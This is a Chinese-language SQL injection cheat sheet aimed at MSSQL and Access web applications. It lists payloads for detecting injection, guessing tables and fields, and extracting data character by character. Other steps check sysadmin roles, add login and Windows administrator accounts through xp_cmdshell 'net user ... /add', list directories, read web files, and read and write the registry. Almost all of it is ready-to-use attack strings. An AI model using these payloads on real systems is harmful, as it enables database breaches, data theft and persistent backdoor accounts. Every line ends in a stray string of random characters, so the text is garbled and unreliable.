1.判断是否有注入;and 1=1 ;and 1=2 so$(-4(E O
2.初步判断是否是mssql ;and user>0 JG'%HJ"D
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3.注入参数是字符'and [查询条件] and ''=' 0Atha>w^o~
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' k89N}MA
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5.判断数据库系统 OzrIiahz/
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;and (select count(*) from msysobjects)>0 access ;#9?3Os
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 4xbWDu]
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 -i{_$G8W/c
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 >wmHCOL:
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9.(1)猜字段的ascii值(access) ^U5N!"6R
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 xO>z
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(2)猜字段的ascii值(mssql) s)]T"87H'_
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 \}=T4w-e
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10.测试权限结构(mssql) dX)aD
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 99ZWB
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $RY-yKmi
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- t*H2;|zn_
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- d%qi~koN_
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- o^X3YaS)
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- KqJln)7
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;and 1=(select IS_MEMBER('db_owner'));-- B//*hH >F
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11.添加mssql和系统的帐户 iu8Q &Us0P
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;exec master.dbo.sp_addlogin username;-- LJPJENtFIs
;exec master.dbo.sp_password null,username,password;-- "zY~*3d
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 8=L"rekV_
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;exec master.dbo.xp_cmdshell 'net user username password $eI
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 0{
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- +&VY6(Zj+*
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- H%Vf$1/TF
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12.(1)遍历目录 ,P}7e)3
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;create table dirs(paths varchar(100), id int) +W[f>3`VQ
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;insert dirs exec master.dbo.xp_dirtree 'c:\' <lIm==U<-
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;and (select top 1 paths from dirs)>0 [q!]Ds"
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) e`={_R{N
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(2)遍历目录 xS12$ib ~G
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- %<DdX*Qp
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 }FS_"0
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 H ;=^
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 E3j`e>Yz
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 tDL.+6/
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13.mssql中的存储过程 I ]o|mjvs
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xp_regenumvalues 注册表根键, 子键 tKUW
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 c]x-mj =
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xp_regread 根键,子键,键值名 lG0CCOdQ
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;exec xp_regread Q`8-|(ngw
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 e.MyJ:eL
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xp_regwrite 根键,子键, 值名, 值类型, 值 sjLMM_'
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 meV Z_f/
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 x1g-@{8]j
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xp_regdeletevalue 根键,子键,值名 &_